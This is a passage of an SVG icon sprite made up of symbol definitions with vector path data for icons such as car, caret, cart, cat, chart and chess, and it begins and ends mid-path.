33.1 411.8 0 352.4 0c-27.9 0-56.2 7.3-81.8 22.6L243.1 39c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5l27.5-16.4c5.1-3.1 10.8-4.5 16.4-4.5 10.9 0 21.5 5.6 27.5 15.6 9.1 15.1 4.1 34.8-11 43.9L15.6 397.6c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5L428.6 301c71.7-42.9 104.6-133.5 68.9-209zm-177.7 13l-2.5 1.5L296.8 45c9.7-4.7 19.8-8.1 30.3-10.2l20.6 61.8c-9.8.8-19.4 3.3-27.9 8.4zM145.9 431.8l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm107.5-63.9l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zM364.3 302l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm20.4-197.3l46-46c8.4 6.5 16 14.1 22.6 22.6L407.6 127c-5.7-9.3-13.7-16.9-22.9-22.3zm82.1 107.8l-59.5-19.8c3.2-5.3 5.8-10.9 7.4-17.1 1.1-4.5 1.7-9.1 1.8-13.6l60.4 20.1c-2.1 10.4-5.5 20.6-10.1 30.4z"></path> + </symbol> + <symbol id="cannabis" viewBox="0 0 512 512"> + <path d="M503.47 360.25c-1.56-.82-32.39-16.89-76.78-25.81 64.25-75.12 84.05-161.67 84.93-165.64 1.18-5.33-.44-10.9-4.3-14.77-3.03-3.04-7.12-4.7-11.32-4.7-1.14 0-2.29.12-3.44.38-3.88.85-86.54 19.59-160.58 79.76.01-1.46.01-2.93.01-4.4 0-118.79-59.98-213.72-62.53-217.7A15.973 15.973 0 0 0 256 0c-5.45 0-10.53 2.78-13.47 7.37-2.55 3.98-62.53 98.91-62.53 217.7 0 1.47.01 2.94.01 4.4-74.03-60.16-156.69-78.9-160.58-79.76-1.14-.25-2.29-.38-3.44-.38-4.2 0-8.29 1.66-11.32 4.7A15.986 15.986 0 0 0 .38 168.8c.88 3.97 20.68 90.52 84.93 165.64-44.39 8.92-75.21 24.99-76.78 25.81a16.003 16.003 0 0 0-.02 28.29c2.45 1.29 60.76 31.72 133.49 31.72 6.14 0 11.96-.1 17.5-.31-11.37 22.23-16.52 38.31-16.81 39.22-1.8 5.68-.29 11.89 3.91 16.11a16.019 16.019 0 0 0 16.1 3.99c1.83-.57 37.72-11.99 77.3-39.29V504c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-64.01c39.58 27.3 75.47 38.71 77.3 39.29a16.019 16.019 0 0 0 16.1-3.99c4.2-4.22 5.71-10.43 3.91-16.11-.29-.91-5.45-16.99-16.81-39.22 5.54.21 11.37.31 17.5.31 72.72 0 131.04-30.43 133.49-31.72 5.24-2.78 8.52-8.22 8.51-14.15-.01-5.94-3.29-11.39-8.53-14.15z"></path> + </symbol> + <symbol id="capsules" viewBox="0 0 576 512"> + <path d="M555.3 300.1L424.2 112.8C401.9 81 366.4 64 330.4 64c-22.6 0-45.5 6.7-65.5 20.7-19.7 13.8-33.7 32.8-41.5 53.8C220.5 79.2 172 32 112 32 50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V218.9c3.3 8.6 7.3 17.1 12.8 25L368 431.2c22.2 31.8 57.7 48.8 93.8 48.8 22.7 0 45.5-6.7 65.5-20.7 51.7-36.2 64.2-107.5 28-159.2zM160 256H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm194.8 44.9l-65.6-93.7c-7.7-11-10.7-24.4-8.3-37.6 2.3-13.2 9.7-24.8 20.7-32.5 8.5-6 18.5-9.1 28.8-9.1 16.5 0 31.9 8 41.3 21.5l65.6 93.7-82.5 57.7z"></path> + </symbol> + <symbol id="car" viewBox="0 0 512 512"> + <path d="M499.99 176h-59.87l-16.64-41.6C406.38 91.63 365.57 64 319.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4L71.87 176H12.01C4.2 176-1.53 183.34.37 190.91l6 24C7.7 220.25 12.5 224 18.01 224h20.07C24.65 235.73 16 252.78 16 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-19.22-8.65-36.27-22.07-48H494c5.51 0 10.31-3.75 11.64-9.09l6-24c1.89-7.57-3.84-14.91-11.65-14.91zm-352.06-17.83c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L384 208H128l19.93-49.83zM96 319.8c-19.2 0-32-12.76-32-31.9S76.8 256 96 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S396.8 256 416 256s32 12.76 32 31.9-12.8 31.9-32 31.9z"></path> + </symbol> + <symbol id="car-alt" viewBox="0 0 480 512"> + <path d="M438.66 212.33l-11.24-28.1-19.93-49.83C390.38 91.63 349.57 64 303.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4l-19.93 49.83-11.24 28.1C17.22 221.5 0 244.66 0 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-27.34-17.22-50.5-41.34-59.67zm-306.73-54.16c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L368 208H112l19.93-49.83zM80 319.8c-19.2 0-32-12.76-32-31.9S60.8 256 80 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S380.8 256 400 256s32 12.76 32 31.9-12.8 31.9-32 31.9z"></path> + </symbol> + <symbol id="car-battery" viewBox="0 0 512 512"> + <path d="M480 128h-32V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v48H192V80c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v48H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32zM192 264c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm256 0c0 4.42-3.58 8-8 8h-40v40c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-40h-40c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h40v-40c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v40h40c4.42 0 8 3.58 8 8v16z"></path> + </symbol> + <symbol id="car-crash" viewBox="0 0 640 512"> + <path d="M143.25 220.81l-12.42 46.37c-3.01 11.25-3.63 22.89-2.41 34.39l-35.2 28.98c-6.57 5.41-16.31-.43-14.62-8.77l15.44-76.68c1.06-5.26-2.66-10.28-8-10.79l-77.86-7.55c-8.47-.82-11.23-11.83-4.14-16.54l65.15-43.3c4.46-2.97 5.38-9.15 1.98-13.29L21.46 93.22c-5.41-6.57.43-16.3 8.78-14.62l76.68 15.44c5.26 1.06 10.28-2.66 10.8-8l7.55-77.86c.82-8.48 11.83-11.23 16.55-4.14l43.3 65.14c2.97 4.46 9.15 5.38 13.29 1.98l60.4-49.71c6.57-5.41 16.3.43 14.62 8.77L262.1 86.38c-2.71 3.05-5.43 6.09-7.91 9.4l-32.15 42.97-10.71 14.32c-32.73 8.76-59.18 34.53-68.08 67.74zm494.57 132.51l-12.42 46.36c-3.13 11.68-9.38 21.61-17.55 29.36a66.876 66.876 0 0 1-8.76 7l-13.99 52.23c-1.14 4.27-3.1 8.1-5.65 11.38-7.67 9.84-20.74 14.68-33.54 11.25L515 502.62c-17.07-4.57-27.2-22.12-22.63-39.19l8.28-30.91-247.28-66.26-8.28 30.91c-4.57 17.07-22.12 27.2-39.19 22.63l-30.91-8.28c-12.8-3.43-21.7-14.16-23.42-26.51-.57-4.12-.35-8.42.79-12.68l13.99-52.23a66.62 66.62 0 0 1-4.09-10.45c-3.2-10.79-3.65-22.52-.52-34.2l12.42-46.37c5.31-19.8 19.36-34.83 36.89-42.21a64.336 64.336 0 0 1 18.49-4.72l18.13-24.23 32.15-42.97c3.45-4.61 7.19-8.9 11.2-12.84 8-7.89 17.03-14.44 26.74-19.51 4.86-2.54 9.89-4.71 15.05-6.49 10.33-3.58 21.19-5.63 32.24-6.04 11.05-.41 22.31.82 33.43 3.8l122.68 32.87c11.12 2.98 21.48 7.54 30.85 13.43a111.11 111.11 0 0 1 34.69 34.5c8.82 13.88 14.64 29.84 16.68 46.99l6.36 53.29 3.59 30.05a64.49 64.49 0 0 1 22.74 29.93c4.39 11.88 5.29 25.19 1.75 38.39zM255.58 234.34c-18.55-4.97-34.21 4.04-39.17 22.53-4.96 18.49 4.11 34.12 22.65 39.09 18.55 4.97 45.54 15.51 50.49-2.98 4.96-18.49-15.43-53.67-33.97-58.64zm290.61 28.17l-6.36-53.29c-.58-4.87-1.89-9.53-3.82-13.86-5.8-12.99-17.2-23.01-31.42-26.82l-122.68-32.87a48.008 48.008 0 0 0-50.86 17.61l-32.15 42.97 172 46.08 75.29 20.18zm18.49 54.65c-18.55-4.97-53.8 15.31-58.75 33.79-4.95 18.49 23.69 22.86 42.24 27.83 18.55 4.97 34.21-4.04 39.17-22.53 4.95-18.48-4.11-34.12-22.66-39.09z"></path> + </symbol> + <symbol id="car-side" viewBox="0 0 640 512"> + <path d="M544 192h-16L419.22 56.02A64.025 64.025 0 0 0 369.24 32H155.33c-26.17 0-49.7 15.93-59.42 40.23L48 194.26C20.44 201.4 0 226.21 0 256v112c0 8.84 7.16 16 16 16h48c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h48c8.84 0 16-7.16 16-16v-80c0-53.02-42.98-96-96-96zM160 432c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm72-240H116.93l38.4-96H232v96zm48 0V96h89.24l76.8 96H280zm200 240c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z"></path> + </symbol> + <symbol id="caravan" viewBox="0 0 640 512"> + <path d="M416,208a16,16,0,1,0,16,16A16,16,0,0,0,416,208ZM624,320H576V160A160,160,0,0,0,416,0H64A64,64,0,0,0,0,64V320a64,64,0,0,0,64,64H96a96,96,0,0,0,192,0H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM192,432a48,48,0,1,1,48-48A48.05,48.05,0,0,1,192,432Zm64-240a32,32,0,0,1-32,32H96a32,32,0,0,1-32-32V128A32,32,0,0,1,96,96H224a32,32,0,0,1,32,32ZM448,320H320V128a32,32,0,0,1,32-32h64a32,32,0,0,1,32,32Z"></path> + </symbol> + <symbol id="caret-down" viewBox="0 0 320 512"> + <path d="M31.3 192h257.3c17.8 0 26.7 21.5 14.1 34.1L174.1 354.8c-7.8 7.8-20.5 7.8-28.3 0L17.2 226.1C4.6 213.5 13.5 192 31.3 192z"></path> + </symbol> + <symbol id="caret-left" viewBox="0 0 192 512"> + <path d="M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z"></path> + </symbol> + <symbol id="caret-right" viewBox="0 0 192 512"> + <path d="M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662z"></path> + </symbol> + <symbol id="caret-square-down" viewBox="0 0 448 512"> + <path d="M448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM92.5 220.5l123 123c4.7 4.7 12.3 4.7 17 0l123-123c7.6-7.6 2.2-20.5-8.5-20.5H101c-10.7 0-16.1 12.9-8.5 20.5z"></path> + </symbol> + <symbol id="caret-square-left" viewBox="0 0 448 512"> + <path d="M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM259.515 124.485l-123.03 123.03c-4.686 4.686-4.686 12.284 0 16.971l123.029 123.029c7.56 7.56 20.485 2.206 20.485-8.485V132.971c.001-10.691-12.925-16.045-20.484-8.486z"></path> + </symbol> + <symbol id="caret-square-right" viewBox="0 0 448 512"> + <path d="M48 32h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48zm140.485 355.515l123.029-123.029c4.686-4.686 4.686-12.284 0-16.971l-123.029-123.03c-7.56-7.56-20.485-2.206-20.485 8.485v246.059c0 10.691 12.926 16.045 20.485 8.486z"></path> + </symbol> + <symbol id="caret-square-up" viewBox="0 0 448 512"> + <path d="M0 432V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48zm355.515-140.485l-123.03-123.03c-4.686-4.686-12.284-4.686-16.971 0L92.485 291.515c-7.56 7.56-2.206 20.485 8.485 20.485h246.059c10.691 0 16.045-12.926 8.486-20.485z"></path> + </symbol> + <symbol id="caret-up" viewBox="0 0 320 512"> + <path d="M288.662 352H31.338c-17.818 0-26.741-21.543-14.142-34.142l128.662-128.662c7.81-7.81 20.474-7.81 28.284 0l128.662 128.662c12.6 12.599 3.676 34.142-14.142 34.142z"></path> + </symbol> + <symbol id="carrot" viewBox="0 0 512 512"> + <path d="M298.2 156.6c-52.7-25.7-114.5-10.5-150.2 32.8l55.2 55.2c6.3 6.3 6.3 16.4 0 22.6-3.1 3.1-7.2 4.7-11.3 4.7s-8.2-1.6-11.3-4.7L130.4 217 2.3 479.7c-2.9 6-3.1 13.3 0 19.7 5.4 11.1 18.9 15.7 30 10.3l133.6-65.2-49.2-49.2c-6.3-6.2-6.3-16.4 0-22.6 6.3-6.2 16.4-6.2 22.6 0l57 57 102-49.8c24-11.7 44.5-31.3 57.1-57.1 30.1-61.7 4.5-136.1-57.2-166.2zm92.1-34.9C409.8 81 399.7 32.9 360 0c-50.3 41.7-52.5 107.5-7.9 151.9l8 8c44.4 44.6 110.3 42.4 151.9-7.9-32.9-39.7-81-49.8-121.7-30.3z"></path> + </symbol> + <symbol id="cart-arrow-down" viewBox="0 0 576 512"> + <path d="M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM403.029 192H360v-60c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v60h-43.029c-10.691 0-16.045 12.926-8.485 20.485l67.029 67.029c4.686 4.686 12.284 4.686 16.971 0l67.029-67.029c7.559-7.559 2.205-20.485-8.486-20.485z"></path> + </symbol> + <symbol id="cart-plus" viewBox="0 0 576 512"> + <path d="M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM408 168h-48v-40c0-8.837-7.163-16-16-16h-16c-8.837 0-16 7.163-16 16v40h-48c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h48v40c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-40h48c8.837 0 16-7.163 16-16v-16c0-8.837-7.163-16-16-16z"></path> + </symbol> + <symbol id="cash-register" viewBox="0 0 512 512"> + <path d="M511.1 378.8l-26.7-160c-2.6-15.4-15.9-26.7-31.6-26.7H208v-64h96c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h96v64H59.1c-15.6 0-29 11.3-31.6 26.7L.8 378.7c-.6 3.5-.9 7-.9 10.5V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-90.7c.1-3.5-.2-7-.8-10.5zM280 248c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16zm-32 64h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16zm-32-80c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16zM80 80V48h192v32H80zm40 200h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16zm16 64v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16zm216 112c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16zm24-112c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16zm48-80c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16z"></path> + </symbol> + <symbol id="cat" viewBox="0 0 512 512"> + <path d="M290.59 192c-20.18 0-106.82 1.98-162.59 85.95V192c0-52.94-43.06-96-96-96-17.67 0-32 14.33-32 32s14.33 32 32 32c17.64 0 32 14.36 32 32v256c0 35.3 28.7 64 64 64h176c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-32l128-96v144c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V289.86c-10.29 2.67-20.89 4.54-32 4.54-61.81 0-113.52-44.05-125.41-102.4zM448 96h-64l-64-64v134.4c0 53.02 42.98 96 96 96s96-42.98 96-96V32l-64 64zm-72 80c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm80 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z"></path> + </symbol> + <symbol id="certificate" viewBox="0 0 512 512"> + <path d="M458.622 255.92l45.985-45.005c13.708-12.977 7.316-36.039-10.664-40.339l-62.65-15.99 17.661-62.015c4.991-17.838-11.829-34.663-29.661-29.671l-61.994 17.667-15.984-62.671C337.085.197 313.765-6.276 300.99 7.228L256 53.57 211.011 7.229c-12.63-13.351-36.047-7.234-40.325 10.668l-15.984 62.671-61.995-17.667C74.87 57.907 58.056 74.738 63.046 92.572l17.661 62.015-62.65 15.99C.069 174.878-6.31 197.944 7.392 210.915l45.985 45.005-45.985 45.004c-13.708 12.977-7.316 36.039 10.664 40.339l62.65 15.99-17.661 62.015c-4.991 17.838 11.829 34.663 29.661 29.671l61.994-17.667 15.984 62.671c4.439 18.575 27.696 24.018 40.325 10.668L256 458.61l44.989 46.001c12.5 13.488 35.987 7.486 40.325-10.668l15.984-62.671 61.994 17.667c17.836 4.994 34.651-11.837 29.661-29.671l-17.661-62.015 62.65-15.99c17.987-4.302 24.366-27.367 10.664-40.339l-45.984-45.004z"></path> + </symbol> + <symbol id="chair" viewBox="0 0 448 512"> + <path d="M112 128c0-29.5 16.2-55 40-68.9V256h48V48h48v208h48V59.1c23.8 13.9 40 39.4 40 68.9v128h48V128C384 57.3 326.7 0 256 0h-64C121.3 0 64 57.3 64 128v128h48zm334.3 213.9l-10.7-32c-4.4-13.1-16.6-21.9-30.4-21.9H42.7c-13.8 0-26 8.8-30.4 21.9l-10.7 32C-5.2 362.6 10.2 384 32 384v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384h256v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384c21.8 0 37.2-21.4 30.3-42.1z"></path> + </symbol> + <symbol id="chalkboard" viewBox="0 0 640 512"> + <path d="M96 64h448v352h64V40c0-22.06-17.94-40-40-40H72C49.94 0 32 17.94 32 40v376h64V64zm528 384H480v-64H288v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="chalkboard-teacher" viewBox="0 0 640 512"> + <path d="M208 352c-2.39 0-4.78.35-7.06 1.09C187.98 357.3 174.35 360 160 360c-14.35 0-27.98-2.7-40.95-6.91-2.28-.74-4.66-1.09-7.05-1.09C49.94 352-.33 402.48 0 464.62.14 490.88 21.73 512 48 512h224c26.27 0 47.86-21.12 48-47.38.33-62.14-49.94-112.62-112-112.62zm-48-32c53.02 0 96-42.98 96-96s-42.98-96-96-96-96 42.98-96 96 42.98 96 96 96zM592 0H208c-26.47 0-48 22.25-48 49.59V96c23.42 0 45.1 6.78 64 17.8V64h352v288h-64v-64H384v64h-76.24c19.1 16.69 33.12 38.73 39.69 64H592c26.47 0 48-22.25 48-49.59V49.59C640 22.25 618.47 0 592 0z"></path> + </symbol> + <symbol id="charging-station" viewBox="0 0 576 512"> + <path d="M336 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h320c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm208-320V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-32V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-16c-8.84 0-16 7.16-16 16v32c0 35.76 23.62 65.69 56 75.93v118.49c0 13.95-9.5 26.92-23.26 29.19C431.22 402.5 416 388.99 416 372v-28c0-48.6-39.4-88-88-88h-8V64c0-35.35-28.65-64-64-64H96C60.65 0 32 28.65 32 64v352h288V304h8c22.09 0 40 17.91 40 40v24.61c0 39.67 28.92 75.16 68.41 79.01C481.71 452.05 520 416.41 520 372V251.93c32.38-10.24 56-40.17 56-75.93v-32c0-8.84-7.16-16-16-16h-16zm-283.91 47.76l-93.7 139c-2.2 3.33-6.21 5.24-10.39 5.24-7.67 0-13.47-6.28-11.67-12.92L167.35 224H108c-7.25 0-12.85-5.59-11.89-11.89l16-107C112.9 99.9 117.98 96 124 96h68c7.88 0 13.62 6.54 11.6 13.21L192 160h57.7c9.24 0 15.01 8.78 10.39 15.76z"></path> + </symbol> + <symbol id="chart-area" viewBox="0 0 512 512"> + <path d="M500 384c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v308h436zM372.7 159.5L288 216l-85.3-113.7c-5.1-6.8-15.5-6.3-19.9 1L96 248v104h384l-89.9-187.8c-3.2-6.5-11.4-8.7-17.4-4.7z"></path> + </symbol> + <symbol id="chart-bar" viewBox="0 0 512 512"> + <path d="M332.8 320h38.4c6.4 0 12.8-6.4 12.8-12.8V172.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V76.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-288 0h38.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zM496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="chart-line" viewBox="0 0 512 512"> + <path d="M496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM464 96H345.94c-21.38 0-32.09 25.85-16.97 40.97l32.4 32.4L288 242.75l-73.37-73.37c-12.5-12.5-32.76-12.5-45.25 0l-68.69 68.69c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L192 237.25l73.37 73.37c12.5 12.5 32.76 12.5 45.25 0l96-96 32.4 32.4c15.12 15.12 40.97 4.41 40.97-16.97V112c.01-8.84-7.15-16-15.99-16z"></path> + </symbol> + <symbol id="chart-pie" viewBox="0 0 544 512"> + <path d="M527.79 288H290.5l158.03 158.03c6.04 6.04 15.98 6.53 22.19.68 38.7-36.46 65.32-85.61 73.13-140.86 1.34-9.46-6.51-17.85-16.06-17.85zm-15.83-64.8C503.72 103.74 408.26 8.28 288.8.04 279.68-.59 272 7.1 272 16.24V240h223.77c9.14 0 16.82-7.68 16.19-16.8zM224 288V50.71c0-9.55-8.39-17.4-17.84-16.06C86.99 51.49-4.1 155.6.14 280.37 4.5 408.51 114.83 513.59 243.03 511.98c50.4-.63 96.97-16.87 135.26-44.03 7.9-5.6 8.42-17.23 1.57-24.08L224 288z"></path> + </symbol> + <symbol id="check" viewBox="0 0 512 512"> + <path d="M173.898 439.404l-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001z"></path> + </symbol> + <symbol id="check-circle" viewBox="0 0 512 512"> + <path d="M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM227.314 387.314l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.249-16.379-6.249-22.628 0L216 308.118l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.249 16.379 6.249 22.628.001z"></path> + </symbol> + <symbol id="check-double" viewBox="0 0 512 512"> + <path d="M505 174.8l-39.6-39.6c-9.4-9.4-24.6-9.4-33.9 0L192 374.7 80.6 263.2c-9.4-9.4-24.6-9.4-33.9 0L7 302.9c-9.4 9.4-9.4 24.6 0 34L175 505c9.4 9.4 24.6 9.4 33.9 0l296-296.2c9.4-9.5 9.4-24.7.1-34zm-324.3 106c6.2 6.3 16.4 6.3 22.6 0l208-208.2c6.2-6.3 6.2-16.4 0-22.6L366.1 4.7c-6.2-6.3-16.4-6.3-22.6 0L192 156.2l-55.4-55.5c-6.2-6.3-16.4-6.3-22.6 0L68.7 146c-6.2 6.3-6.2 16.4 0 22.6l112 112.2z"></path> + </symbol> + <symbol id="check-square" viewBox="0 0 448 512"> + <path d="M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zm-204.686-98.059l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.248-16.379-6.249-22.628 0L184 302.745l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.25 16.379 6.25 22.628.001z"></path> + </symbol> + <symbol id="cheese" viewBox="0 0 512 512"> + <path d="M0 288v160a32 32 0 0 0 32 32h448a32 32 0 0 0 32-32V288zM299.83 32a32 32 0 0 0-21.13 7L0 256h512c0-119.89-94-217.8-212.17-224z"></path> + </symbol> + <symbol id="chess" viewBox="0 0 512 512"> + <path d="M74 208H64a16 16 0 0 0-16 16v16a16 16 0 0 0 16 16h15.94A535.78 535.78 0 0 1 64 384h128a535.78 535.78 0 0 1-15.94-128H192a16 16 0 0 0 16-16v-16a16 16 0 0 0-16-16h-10l33.89-90.38a16 16 0 0 0-15-21.62H144V64h24a8 8 0 0 0 8-8V40a8 8 0 0 0-8-8h-24V8a8 8 0 0 0-8-8h-16a8 8 0 0 0-8 8v24H88a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h24v32H55.09a16 16 0 0 0-15 21.62zm173.16 251.58L224 448v-16a16 16 0 